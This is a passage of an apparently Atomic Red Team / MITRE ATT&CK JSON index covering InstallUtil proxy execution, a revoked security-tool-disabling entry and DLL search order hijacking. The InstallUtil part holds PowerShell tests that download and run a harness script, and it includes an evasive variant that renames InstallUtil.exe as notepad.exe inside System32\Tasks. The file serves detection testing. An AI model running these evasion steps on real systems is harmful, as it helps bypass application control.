- "description": "LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019."
- }
- ],
- "modified": "2022-03-11T18:47:52.603Z",
- "name": "Signed Binary Proxy Execution: InstallUtil",
- "description": "Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe
and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe
.\n\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]
. (Citation: LOLBAS Installutil)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Digital Certificate Validation",
- "Application control"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1218.004"
- },
- "atomic_tests": [
- {
- "name": "CheckIfInstallable method call",
- "auto_generated_guid": "ffd9c807-d402-47d2-879d-f915cf2a3a94",
- "description": "Executes the CheckIfInstallable class constructor runner instead of executing InstallUtil. Upon execution, the InstallUtil test harness will be executed.\nIf no output is displayed the test executed successfuly.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "test_harness": {
- "description": "location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1"
- },
- "assembly_dir": {
- "description": "directory to drop the compiled installer assembly",
- "type": "path",
- "default": "$Env:TEMP\\"
- },
- "invocation_method": {
- "description": "the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable",
- "type": "string",
- "default": "CheckIfInstallable"
- },
- "assembly_filename": {
- "description": "filename of the compiled installer assembly",
- "type": "string",
- "default": "T1218.004.dll"
- }
- },
- "dependencies": [
- {
- "description": "InstallUtil test harness script must be installed at specified location (#{test_harness})\n",
- "prereq_command": "if (Test-Path \"#{test_harness}\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"#{test_harness}\"\n"
- }
- ],
- "executor": {
- "command": "# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. #{test_harness}\n\n$InstallerAssemblyDir = \"#{assembly_dir}\"\n$InstallerAssemblyFileName = \"#{assembly_filename}\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$ExpectedOutput = 'Constructor_'\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = '#{invocation_method}'\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nCheckIfInstallable method execution test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n",
- "cleanup_command": "$InstallerAssemblyDir = \"#{assembly_dir}\"\n$InstallerAssemblyFileName = \"#{assembly_filename}\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\nRemove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "InstallHelper method call",
- "auto_generated_guid": "d43a5bde-ae28-4c55-a850-3f4c80573503",
- "description": "Executes the InstallHelper class constructor runner instead of executing InstallUtil. Upon execution, no output will be displayed if the test\nexecuted successfuly.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "test_harness": {
- "description": "location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1"
- },
- "assembly_dir": {
- "description": "directory to drop the compiled installer assembly",
- "type": "path",
- "default": "$Env:TEMP\\"
- },
- "invocation_method": {
- "description": "the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable",
- "type": "string",
- "default": "InstallHelper"
- },
- "assembly_filename": {
- "description": "filename of the compiled installer assembly",
- "type": "string",
- "default": "T1218.004.dll"
- }
- },
- "dependencies": [
- {
- "description": "InstallUtil test harness script must be installed at specified location (#{test_harness})\n",
- "prereq_command": "if (Test-Path \"#{test_harness}\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"#{test_harness}\"\n"
- }
- ],
- "executor": {
- "command": "# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. #{test_harness}\n\n$InstallerAssemblyDir = \"#{assembly_dir}\"\n$InstallerAssemblyFileName = \"#{assembly_filename}\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$CommandLine = \"/logfile= /logtoconsole=false `\"$InstallerAssemblyFullPath`\"\"\n$ExpectedOutput = 'Constructor_'\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = '#{invocation_method}'\n CommandLine = $CommandLine\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nInstallHelper method execution test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n",
- "cleanup_command": "$InstallerAssemblyDir = \"#{assembly_dir}\"\n$InstallerAssemblyFileName = \"#{assembly_filename}\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\nRemove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "InstallUtil class constructor method call",
- "auto_generated_guid": "9b7a7cfc-dd2e-43f5-a885-c0a3c270dd93",
- "description": "Executes the installer assembly class constructor. Upon execution, version information will be displayed the .NET framework install utility.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "test_harness": {
- "description": "location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1"
- },
- "assembly_dir": {
- "description": "directory to drop the compiled installer assembly",
- "type": "path",
- "default": "$Env:TEMP\\"
- },
- "invocation_method": {
- "description": "the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable",
- "type": "string",
- "default": "Executable"
- },
- "assembly_filename": {
- "description": "filename of the compiled installer assembly",
- "type": "string",
- "default": "T1218.004.dll"
- }
- },
- "dependencies": [
- {
- "description": "InstallUtil test harness script must be installed at specified location (#{test_harness})\n",
- "prereq_command": "if (Test-Path \"#{test_harness}\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"#{test_harness}\"\n"
- }
- ],
- "executor": {
- "command": "# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. #{test_harness}\n\n$InstallerAssemblyDir = \"#{assembly_dir}\"\n$InstallerAssemblyFileName = \"#{assembly_filename}\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$CommandLine = \"/logfile= /logtoconsole=false `\"$InstallerAssemblyFullPath`\"\"\n$ExpectedOutput = 'Constructor_'\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = '#{invocation_method}'\n CommandLine = $CommandLine\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nInstallUtil class constructor execution test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n",
- "cleanup_command": "$InstallerAssemblyDir = \"#{assembly_dir}\"\n$InstallerAssemblyFileName = \"#{assembly_filename}\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\nRemove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "InstallUtil Install method call",
- "auto_generated_guid": "9f9968a6-601a-46ca-b7b7-6d4fe0f98f0b",
- "description": "Executes the Install Method. Upon execution, version information will be displayed the .NET framework install utility.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "test_harness": {
- "description": "location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1"
- },
- "assembly_dir": {
- "description": "directory to drop the compiled installer assembly",
- "type": "path",
- "default": "$Env:TEMP\\"
- },
- "invocation_method": {
- "description": "the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable",
- "type": "string",
- "default": "Executable"
- },
- "assembly_filename": {
- "description": "filename of the compiled installer assembly",
- "type": "string",
- "default": "T1218.004.dll"
- }
- },
- "dependencies": [
- {
- "description": "InstallUtil test harness script must be installed at specified location (#{test_harness})\n",
- "prereq_command": "if (Test-Path \"#{test_harness}\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"#{test_harness}\"\n"
- }
- ],
- "executor": {
- "command": "# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. #{test_harness}\n\n$InstallerAssemblyDir = \"#{assembly_dir}\"\n$InstallerAssemblyFileName = \"#{assembly_filename}\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$CommandLine = \"/logfile= /logtoconsole=false /installtype=notransaction /action=install `\"$InstallerAssemblyFullPath`\"\"\n$ExpectedOutput = 'Constructor_Install_'\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = '#{invocation_method}'\n CommandLine = $CommandLine\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nInstallUtil Install method execution test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n",
- "cleanup_command": "$InstallerAssemblyDir = \"#{assembly_dir}\"\n$InstallerAssemblyFileName = \"#{assembly_filename}\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\nRemove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "InstallUtil Uninstall method call - /U variant",
- "auto_generated_guid": "34428cfa-8e38-41e5-aff4-9e1f8f3a7b4b",
- "description": "Executes the Uninstall Method. Upon execution, version information will be displayed the .NET framework install utility.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "test_harness": {
- "description": "location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1"
- },
- "assembly_dir": {
- "description": "directory to drop the compiled installer assembly",
- "type": "path",
- "default": "$Env:TEMP\\"
- },
- "invocation_method": {
- "description": "the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable",
- "type": "string",
- "default": "Executable"
- },
- "assembly_filename": {
- "description": "filename of the compiled installer assembly",
- "type": "string",
- "default": "T1218.004.dll"
- }
- },
- "dependencies": [
- {
- "description": "InstallUtil test harness script must be installed at specified location (#{test_harness})\n",
- "prereq_command": "if (Test-Path \"#{test_harness}\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"#{test_harness}\"\n"
- }
- ],
- "executor": {
- "command": "# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. #{test_harness}\n\n$InstallerAssemblyDir = \"#{assembly_dir}\"\n$InstallerAssemblyFileName = \"#{assembly_filename}\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$CommandLine = \"/logfile= /logtoconsole=false /U `\"$InstallerAssemblyFullPath`\"\"\n$ExpectedOutput = 'Constructor_Uninstall_'\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = '#{invocation_method}'\n CommandLine = $CommandLine\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nInstallUtil Uninstall method execution test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n",
- "cleanup_command": "$InstallerAssemblyDir = \"#{assembly_dir}\"\n$InstallerAssemblyFileName = \"#{assembly_filename}\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\nRemove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "InstallUtil Uninstall method call - '/installtype=notransaction /action=uninstall' variant",
- "auto_generated_guid": "06d9deba-f732-48a8-af8e-bdd6e4d98c1d",
- "description": "Executes the Uninstall Method. Upon execution, version information will be displayed the .NET framework install utility.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "test_harness": {
- "description": "location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1"
- },
- "assembly_dir": {
- "description": "directory to drop the compiled installer assembly",
- "type": "path",
- "default": "$Env:TEMP\\"
- },
- "invocation_method": {
- "description": "the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable",
- "type": "string",
- "default": "Executable"
- },
- "assembly_filename": {
- "description": "filename of the compiled installer assembly",
- "type": "string",
- "default": "T1218.004.dll"
- }
- },
- "dependencies": [
- {
- "description": "InstallUtil test harness script must be installed at specified location (#{test_harness})\n",
- "prereq_command": "if (Test-Path \"#{test_harness}\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"#{test_harness}\"\n"
- }
- ],
- "executor": {
- "command": "# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. #{test_harness}\n\n$InstallerAssemblyDir = \"#{assembly_dir}\"\n$InstallerAssemblyFileName = \"#{assembly_filename}\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$CommandLine = \"/logfile= /logtoconsole=false /installtype=notransaction /action=uninstall `\"$InstallerAssemblyFullPath`\"\"\n$ExpectedOutput = 'Constructor_Uninstall_'\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = '#{invocation_method}'\n CommandLine = $CommandLine\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nInstallUtil Uninstall method execution test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n",
- "cleanup_command": "$InstallerAssemblyDir = \"#{assembly_dir}\"\n$InstallerAssemblyFileName = \"#{assembly_filename}\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\nRemove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "InstallUtil HelpText method call",
- "auto_generated_guid": "5a683850-1145-4326-a0e5-e91ced3c6022",
- "description": "Executes the Uninstall Method. Upon execution, help information will be displayed for InstallUtil.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "test_harness": {
- "description": "location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1"
- },
- "assembly_dir": {
- "description": "directory to drop the compiled installer assembly",
- "type": "path",
- "default": "$Env:TEMP\\"
- },
- "invocation_method": {
- "description": "the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable",
- "type": "string",
- "default": "Executable"
- },
- "assembly_filename": {
- "description": "filename of the compiled installer assembly",
- "type": "string",
- "default": "T1218.004.dll"
- }
- },
- "dependencies": [
- {
- "description": "InstallUtil test harness script must be installed at specified location (#{test_harness})\n",
- "prereq_command": "if (Test-Path \"#{test_harness}\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"#{test_harness}\"\n"
- }
- ],
- "executor": {
- "command": "# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. #{test_harness}\n\n$InstallerAssemblyDir = \"#{assembly_dir}\"\n$InstallerAssemblyFileName = \"#{assembly_filename}\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$CommandLine = \"/? `\"$InstallerAssemblyFullPath`\"\"\n$ExpectedOutput = 'Constructor_HelpText_'\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = '#{invocation_method}'\n CommandLine = $CommandLine\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nInstallUtil HelpText property execution test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n",
- "cleanup_command": "$InstallerAssemblyDir = \"#{assembly_dir}\"\n$InstallerAssemblyFileName = \"#{assembly_filename}\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\nRemove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "InstallUtil evasive invocation",
- "auto_generated_guid": "559e6d06-bb42-4307-bff7-3b95a8254bad",
- "description": "Executes an InstallUtil assembly by renaming InstallUtil.exe and using a nonstandard extension for the assembly. Upon execution, \"Running a transacted installation.\"\nwill be displayed, along with other information about the opperation. \"The transacted install has completed.\" will be displayed upon completion.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "test_harness": {
- "description": "location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1"
- }
- },
- "dependencies": [
- {
- "description": "InstallUtil test harness script must be installed at specified location (#{test_harness})\n",
- "prereq_command": "if (Test-Path \"#{test_harness}\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"#{test_harness}\"\n"
- }
- ],
- "executor": {
- "command": "# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. #{test_harness}\n\n$InstallerAssemblyDir = \"$Env:windir\\System32\\Tasks\"\n$InstallerAssemblyFileName = 'readme.txt'\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$CommandLine = \"readme.txt\"\n$ExpectedOutput = 'Constructor_'\n\n# Explicitly set the directory so that a relative path to readme.txt can be supplied.\nSet-Location \"$Env:windir\\System32\\Tasks\"\n\nCopy-Item -Path \"$([System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory())InstallUtil.exe\" -Destination \"$Env:windir\\System32\\Tasks\\notepad.exe\"\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = 'Executable'\n CommandLine = $CommandLine\n InstallUtilPath = \"$Env:windir\\System32\\Tasks\\notepad.exe\"\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nEvasive Installutil invocation test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n",
- "cleanup_command": "Remove-Item -Path \"$Env:windir\\System32\\Tasks\\readme.txt\" -ErrorAction Ignore\nRemove-Item -Path \"$Env:windir\\System32\\Tasks\\readme.InstallLog\" -ErrorAction Ignore\nRemove-Item -Path \"$Env:windir\\System32\\Tasks\\readme.InstallState\" -ErrorAction Ignore\nRemove-Item -Path \"$Env:windir\\System32\\Tasks\\notepad.exe\" -ErrorAction Ignore\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1089": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:07.958Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1089",
- "external_id": "T1089"
- },
- {
- "external_id": "CAPEC-578",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/578.html"
- }
- ],
- "modified": "2020-02-21T20:35:48.979Z",
- "name": "Disabling Security Tools",
- "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "File monitoring",
- "Host intrusion prevention systems",
- "Signature-based detection",
- "Log analysis",
- "Anti-virus"
- ]
- },
- "atomic_tests": []
- },
- "T1574.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Travis Smith, Tripwire",
- "Stefan Kanthak"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34",
- "type": "attack-pattern",
- "created": "2020-03-13T18:11:08.357Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.001",
- "url": "https://attack.mitre.org/techniques/T1574/001"
- },
- {
- "external_id": "CAPEC-471",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/471.html"
- },
- {
- "source_name": "Microsoft Dynamic Link Library Search Order",
- "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN",
- "description": "Microsoft. (2018, May 31). Dynamic-Link Library Search Order. Retrieved November 30, 2014."
- },
- {
- "source_name": "FireEye Hijacking July 2010",
- "url": "https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html",
- "description": "Harbour, N. (2010, July 15). Malware Persistence without the Windows Registry. Retrieved November 17, 2020."
- },
- {
- "source_name": "OWASP Binary Planting",
- "description": "OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.",
- "url": "https://www.owasp.org/index.php/Binary_planting"
- },
- {
- "source_name": "FireEye fxsst June 2011",
- "url": "https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html",
- "description": "Harbour, N. (2011, June 3). What the fxsst?. Retrieved November 17, 2020."
- },
- {
- "source_name": "Microsoft Security Advisory 2269637",
- "url": "https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637",
- "description": "Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved March 13, 2020."
- },
- {
- "source_name": "Microsoft Dynamic-Link Library Redirection",
- "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN",
- "description": "Microsoft. (2018, May 31). Dynamic-Link Library Redirection. Retrieved March 13, 2020."
- },
- {
- "source_name": "Microsoft Manifests",
- "description": "Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.",
- "url": "https://msdn.microsoft.com/en-US/library/aa375365"
- },
- {
- "source_name": "FireEye DLL Search Order Hijacking",
- "url": "https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html",
- "description": "Nick Harbour. (2010, September 1). DLL Search Order Hijacking Revisited. Retrieved March 13, 2020."
- }
- ],
- "modified": "2021-04-26T18:37:03.748Z",
- "name": "Hijack Execution Flow: DLL Search Order Hijacking",
- "description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.\n\nThere are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)\n\nAdversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
